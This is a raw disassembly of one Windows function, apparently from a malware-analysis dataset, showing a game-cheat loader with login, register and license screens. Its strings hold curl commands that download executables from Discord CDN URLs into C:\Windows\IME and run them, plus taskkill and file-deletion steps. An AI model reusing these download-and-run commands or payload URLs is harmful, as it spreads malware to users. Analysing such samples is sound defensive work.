Function at 0x1401206d6
Capabilities:
Create process on windows
Delete file
Terminate process

Disassembly:
jmp 0x14026c890
push rbp
push rdi
sub rsp, 0xa88
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x1ce
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14049ad18]
xor rax, rbp
mov qword [rbp + 0xa28], rax
lea rcx, reloc.WS2_32.dll_accept
call fcn.1401205b9
call fcn.14011fd53
xorps xmm2, xmm2
xorps xmm1, xmm1
lea rcx, [rbp + 0x3e4]
call fcn.14011e5d9
mov qword [rbp + 0x9e8], rax
movss xmm2, dword [0x1404a447c]
movss xmm1, dword [0x1404a4478]
lea rcx, [rbp + 0x404]
call fcn.14011e5d9
mov qword [rbp + 0x9f0], rax
mov r8, qword [rbp + 0x9e8]
mov edx, 2
mov rcx, qword [rbp + 0x9f0]
call fcn.14011ea98
movss xmm2, dword [0x1404a448c]
movss xmm1, dword [0x1404a4488]
lea rcx, [rbp + 0x424]
call fcn.14011e5d9
xor edx, edx
mov rcx, rax
call fcn.14011c44b
movss xmm0, dword [0x14037a348]
call fcn.14011b0fa
movzx eax, byte [reloc.WS2_32.dll_accept]
test eax, eax
je 0x14026d1e1
mov r8d, dword [0x14049ab24]
lea rdx, [0x1404a44a0]
mov rcx, qword [0x14049ab18]
call fcn.14011f0ab
lea rcx, [rbp + 0x464]
call fcn.14011e156
movss xmm2, dword [0x14037a3d0]
movss xmm1, dword [rax]
lea rcx, [rbp + 0x444]
call fcn.14011e5d9
xor r9d, r9d
mov r8b, 1
mov rdx, rax
lea rcx, str.Left
call fcn.14011fff1
movss xmm2, dword [0x14038f1c4]
movss xmm1, dword [0x14037a3d0]
lea rcx, [rbp + 0x484]
call fcn.14011e5d9
mov rcx, rax
call fcn.14011f56a
movss xmm2, dword [0x14038f1c4]
movss xmm1, dword [0x14037a3cc]
lea rcx, [rbp + 0x4a4]
call fcn.14011e5d9
mov rdx, rax
lea rcx, [0x1404298a0]
call fcn.14011cd65
movzx eax, al
test eax, eax
je 0x14026ca20
mov dword [0x1404a40d4], 0
call fcn.14011e5ac
movss xmm2, dword [0x14038f1c4]
movss xmm1, dword [0x14037a3d8]
lea rcx, [rbp + 0x4c4]
call fcn.14011e5d9
mov rcx, rax
call fcn.14011f56a
movss xmm2, dword [0x14038f1c4]
movss xmm1, dword [0x14037a3cc]
lea rcx, [rbp + 0x4e4]
call fcn.14011e5d9
mov rdx, rax
lea rcx, [0x1404298a4]
call fcn.14011cd65
movzx eax, al
test eax, eax
je 0x14026ca85
mov dword [0x1404a40d4], 1
call fcn.14011e5ac
movss xmm2, dword [0x14038f1c4]
movss xmm1, dword [0x14038f204]
lea rcx, [rbp + 0x504]
call fcn.14011e5d9
mov rcx, rax
call fcn.14011f56a
movss xmm2, dword [0x14038f1c4]
movss xmm1, dword [0x14037a3cc]
lea rcx, [rbp + 0x524]
call fcn.14011e5d9
mov rdx, rax
lea rcx, [0x1404298a8]
call fcn.14011cd65
movzx eax, al
test eax, eax
je 0x14026caea
mov dword [0x1404a40d4], 2
call fcn.14011e5ac
call fcn.14011f7c7
lea rcx, [rbp + 0x564]
call fcn.14011e156
movss xmm0, dword [rax + 4]
movss dword [rbp + 0x9e4], xmm0
lea rcx, [rbp + 0x584]
call fcn.14011e156
movss xmm0, dword [rax]
movss dword [rbp + 0x9e8], xmm0
movss xmm2, dword [rbp + 0x9e4]
movss xmm1, dword [rbp + 0x9e8]
lea rcx, [rbp + 0x544]
call fcn.14011e5d9
xor r9d, r9d
mov r8b, 1
mov rdx, rax
lea rcx, str.Right
call fcn.14011fff1
cmp dword [0x1404a40d4], 0
jne 0x14026cde9
lea rcx, [rbp + 0x5a4]
call fcn.14011e156
movss xmm0, dword [rax]
divss xmm0, dword [0x14037a36c]
subss xmm0, dword [0x14037a3a4]
call fcn.14011bbb3
lea rcx, str.Login
call fcn.14011e0a2
call fcn.14011ec50
lea rcx, [rbp + 0x5c4]
call fcn.14011e156
cvtss2sd xmm0, dword [rax]
divsd xmm0, qword [0x140429ba0]
subsd xmm0, qword [0x1403ae0a0]
cvtsd2ss xmm0, xmm0
call fcn.14011bbb3
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0xff
lea r8, [0x1404a44a1]
lea rdx, str.Username
lea rcx, [0x1404298d8]
call fcn.140120046
call fcn.14011ec50
lea rcx, [rbp + 0x5e4]
call fcn.14011e156
cvtss2sd xmm0, dword [rax]
divsd xmm0, qword [0x140429ba0]
subsd xmm0, qword [0x1403ae0a0]
cvtsd2ss xmm0, xmm0
call fcn.14011bbb3
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x8000
mov r9d, 0xff
lea r8, [0x1404a45a0]
lea rdx, str.Password
lea rcx, str.password
call fcn.140120046
call fcn.14011ec50
lea rcx, [rbp + 0x604]
call fcn.14011e156
cvtss2sd xmm0, dword [rax]
divsd xmm0, qword [0x140429ba0]
addsd xmm0, qword [0x140429bb0]
cvtsd2ss xmm0, xmm0
call fcn.14011bbb3
movss xmm2, dword [0x14038f1c4]
movss xmm1, dword [0x14037a3cc]
lea rcx, [rbp + 0x624]
call fcn.14011e5d9
mov rdx, rax
lea rcx, str.Login
call fcn.14011cd65
movzx eax, al
test eax, eax
je 0x14026cde9
lea rax, [rbp + 0x648]
mov qword [rbp + 0x688], rax
lea rdx, [0x1404a45a0]
mov rcx, qword [rbp + 0x688]
call fcn.14011d6f2
mov qword [rbp + 0x9e8], rax
mov rax, qword [rbp + 0x9e8]
mov qword [rbp + 0x9f0], rax
mov rax, qword [rbp + 0x9f0]
mov qword [rbp + 0x9f8], rax
lea rax, [rbp + 0x6a8]
mov qword [rbp + 0x6e8], rax
lea rdx, [0x1404a44a1]
mov rcx, qword [rbp + 0x6e8]
call fcn.14011d6f2
mov qword [rbp + 0xa00], rax
mov rax, qword [rbp + 0xa00]
mov qword [rbp + 0xa08], rax
mov r8, qword [rbp + 0x9f8]
mov rdx, qword [rbp + 0xa08]
lea rcx, [0x1404a4110]
call fcn.14011d05d
movzx eax, byte [0x1404a4328]
test eax, eax
jne 0x14026cd99
lea rcx, [0x1404a4330]
call fcn.14011b776
xor r9d, r9d
lea r8, str.Auth_Error
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
jmp 0x14026cde9
mov edx, Ordinal_301
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.taskkill__f__im_SSSSV7.exe
call fcn.14011c9aa
lea rcx, str.taskkill__f__im_SSSV7.exe
call fcn.14011c9aa
lea rcx, str.C:_Windows_IME_SSSSV7.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:_Windows_IME_SSSV7.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1404a40c8], 1
cmp dword [0x1404a40d4], 1
jne 0x14026d11f
lea rcx, [rbp + 0x704]
call fcn.14011e156
movss xmm0, dword [rax]
divss xmm0, dword [0x14037a36c]
subss xmm0, dword [0x14037a3b4]
call fcn.14011bbb3
lea rcx, str.Register
call fcn.14011e0a2
call fcn.14011ec50
lea rcx, [rbp + 0x724]
call fcn.14011e156
cvtss2sd xmm0, dword [rax]
divsd xmm0, qword [0x140429ba0]
subsd xmm0, qword [0x1403ae0a0]
cvtsd2ss xmm0, xmm0
call fcn.14011bbb3
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0xff
lea r8, [0x1404a44a1]
lea rdx, str.Username
lea rcx, [0x1404298d8]
call fcn.140120046
lea rcx, [rbp + 0x744]
call fcn.14011e156
cvtss2sd xmm0, dword [rax]
divsd xmm0, qword [0x140429ba0]
subsd xmm0, qword [0x1403ae0a0]
cvtsd2ss xmm0, xmm0
call fcn.14011bbb3
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x8000
mov r9d, 0xff
lea r8, [0x1404a45a0]
lea rdx, str.Password
lea rcx, str.password
call fcn.140120046
lea rcx, [rbp + 0x764]
call fcn.14011e156
cvtss2sd xmm0, dword [rax]
divsd xmm0, qword [0x140429ba0]
subsd xmm0, qword [0x1403ae0a0]
cvtsd2ss xmm0, xmm0
call fcn.14011bbb3
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0xff
lea r8, [0x1404a469f]
lea rdx, str.License
lea rcx, str.license
call fcn.140120046
call fcn.14011ec50
lea rcx, [rbp + 0x784]
call fcn.14011e156
cvtss2sd xmm0, dword [rax]
divsd xmm0, qword [0x140429ba0]
addsd xmm0, qword [0x140429bb0]
cvtsd2ss xmm0, xmm0
call fcn.14011bbb3
movss xmm2, dword [0x14038f1c4]
movss xmm1, dword [0x14037a3cc]
lea rcx, [rbp + 0x7a4]
call fcn.14011e5d9
mov rdx, rax
lea rcx, str.Register
call fcn.14011cd65
movzx eax, al
test eax, eax
je 0x14026d11f
lea rax, [rbp + 0x7c8]
mov qword [rbp + 0x808], rax
lea rdx, [0x1404a469f]
mov rcx, qword [rbp + 0x808]
call fcn.14011d6f2
mov qword [rbp + 0x9e8], rax
mov rax, qword [rbp + 0x9e8]
mov qword [rbp + 0x9f0], rax
mov rax, qword [rbp + 0x9f0]
mov qword [rbp + 0x9f8], rax
lea rax, [rbp + 0x828]
mov qword [rbp + 0x868], rax
lea rdx, [0x1404a45a0]
mov rcx, qword [rbp + 0x868]
call fcn.14011d6f2
mov qword [rbp + 0xa00], rax
mov rax, qword [rbp + 0xa00]
mov qword [rbp + 0xa08], rax
mov rax, qword [rbp + 0xa08]
mov qword [rbp + 0xa10], rax
lea rax, [rbp + 0x888]
mov qword [rbp + 0x8c8], rax
lea rdx, [0x1404a44a1]
mov rcx, qword [rbp + 0x8c8]
call fcn.14011d6f2
mov qword [rbp + 0xa18], rax
mov rax, qword [rbp + 0xa18]
mov qword [rbp + 0xa20], rax
mov r9, qword [rbp + 0x9f8]
mov r8, qword [rbp + 0xa10]
mov rdx, qword [rbp + 0xa20]
lea rcx, [0x1404a4110]
call fcn.14011f0ce
movzx eax, byte [0x1404a4328]
test eax, eax
jne 0x14026d0da
lea rcx, [0x1404a4330]
call fcn.14011b776
xor r9d, r9d
lea r8, str.Auth_Error
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
jmp 0x14026d11f
mov edx, Ordinal_301
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Beep]
mov byte [reloc.WS2_32.dll_accept], 0
movzx eax, byte [0x1404a40c8]
test eax, eax
jne 0x14026d108
mov dword [rbp + 0x9e4], 1
jmp 0x14026d112
mov dword [rbp + 0x9e4], 0
movzx eax, byte [rbp + 0x9e4]
mov byte [0x1404a40c8], al
cmp dword [0x1404a40d4], 2
jne 0x14026d1d7
lea rcx, [rbp + 0x904]
call fcn.14011e156
movss xmm0, dword [rax]
divss xmm0, dword [0x14037a36c]
subss xmm0, dword [0x140429bcc]
movss xmm2, dword [0x140429bcc]
movaps xmm1, xmm0
lea rcx, [rbp + 0x8e4]
call fcn.14011e5d9
mov rcx, rax
call fcn.14011f56a
lea rcx, str.Build
call fcn.14011e0a2
movss xmm1, dword [0x14037a3fc]
xorps xmm0, xmm0
call fcn.14011e7e6
movss xmm0, dword [0x14037a348]
movss dword [rsp + 0x20], xmm0
xorps xmm3, xmm3
movss xmm2, dword [0x14037a348]
xorps xmm1, xmm1
lea rcx, [rbp + 0x924]
call fcn.14011ecf5
mov rdx, rax
xor ecx, ecx
call fcn.14011bf64
lea rcx, [0x1404a47a0]
call fcn.14011b776
mov rcx, rax
call fcn.14011e0a2
mov ecx, 1
call fcn.14011f54c
call fcn.14011f7c7
call fcn.14011d5df
movzx eax, byte [0x1404a40c8]
test eax, eax
je 0x14026d42f
lea rax, [0x14042998c]
mov qword [rbp + 8], rax
mov r8d, dword [0x14049ab24]
lea rdx, [0x1404a44a0]
mov rcx, qword [0x14049ab18]
call fcn.14011f0ab
mov eax, dword [0x14049ab24]
mov dword [rbp + 0x9e4], eax
lea rcx, [rbp + 0x974]
call fcn.14011e156
movss xmm0, dword [rax + 4]
movss dword [rbp + 0x9e8], xmm0
lea rcx, [rbp + 0x994]
call fcn.14011e156
movss xmm0, dword [rax]
movss dword [rbp + 0x9ec], xmm0
movss xmm2, dword [rbp + 0x9e8]
movss xmm1, dword [rbp + 0x9ec]
lea rcx, [rbp + 0x954]
call fcn.14011e5d9
mov qword [rbp + 0x9f0], rax
mov r9d, dword [rbp + 0x9e4]
mov r8b, 1
mov rdx, qword [rbp + 0x9f0]
lea rcx, str.main
call fcn.14011fff1
movsxd rax, dword [0x1404a40cc]
mov rdx, qword [rbp + rax*8 + 8]
lea rcx, str.Product:__s
call fcn.14011e0a2
movss xmm0, dword [0x14038f1f4]
call fcn.14011ffa1
mov dword [rsp + 0x20], 0xa
mov r9d, 1
lea r8, [rbp + 8]
lea rdx, [0x1404a40cc]
lea rcx, str.cheat
call fcn.14011e3f9
movss xmm1, dword [0x14037a3fc]
xorps xmm0, xmm0
call fcn.14011e7e6
movss xmm0, dword [0x140429be0]
call fcn.14011bbb3
movss xmm2, dword [0x14038f1c4]
movss xmm1, dword [0x140429bdc]
lea rcx, [rbp + 0x9b4]
call fcn.14011e5d9
mov rdx, rax
lea rcx, str.RunProgram
call fcn.14011cd65
movzx eax, al
test eax, eax
je 0x14026d3d5
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1124340297841774683_1126802552105750629_SammieV7.exe___output_C:_Windows_IME_SSSSV7.exe__nul_2_1
call fcn.14011c9aa
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1167939970149924914_1167940056732925983_Minigame_Kiki_Findtext.exe___output_C:_Windows_IME_SSSV7.exe__nul_2_1
call fcn.14011c9aa
lea rax, [rbp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rbp + 0x30], 0x68
mov dword [rbp + 0x6c], 1
xor eax, eax
mov word [rbp + 0x70], ax
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsIMESSSSV7.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14026d3d5
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [0x1404a40c9]
test eax, eax
je 0x14026d425
xorps xmm2, xmm2
movss xmm1, dword [0x14037a3f4]
lea rcx, [rbp + 0x9d4]
call fcn.14011e5d9
mov qword [rbp + 0x9e8], rax
movss xmm0, dword [0x1404a40d0]
movss dword [rbp + 0x9f0], xmm0
xor r8d, r8d
mov rdx, qword [rbp + 0x9e8]
movss xmm0, dword [rbp + 0x9f0]
call fcn.1401205fa
call fcn.14011f7c7
call fcn.14011d5df
lea rcx, [rbp - 0x50]
lea rdx, reloc.WS2_32.dll_closesocket
call fcn.14011f754
mov rcx, qword [rbp + 0xa28]
xor rcx, rbp
call fcn.14011d940
lea rsp, [rbp + 0xa38]
pop rdi
pop rbp
ret